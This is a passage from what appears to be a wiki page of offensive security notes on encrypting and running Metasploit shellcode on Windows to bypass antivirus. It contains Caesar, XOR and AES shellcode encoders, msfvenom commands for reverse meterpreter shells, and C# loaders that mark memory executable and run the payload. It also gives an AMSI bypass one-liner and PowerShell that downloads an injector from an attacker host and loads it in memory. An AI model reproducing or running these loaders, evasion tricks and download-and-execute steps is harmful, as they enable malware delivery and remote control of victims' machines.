		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
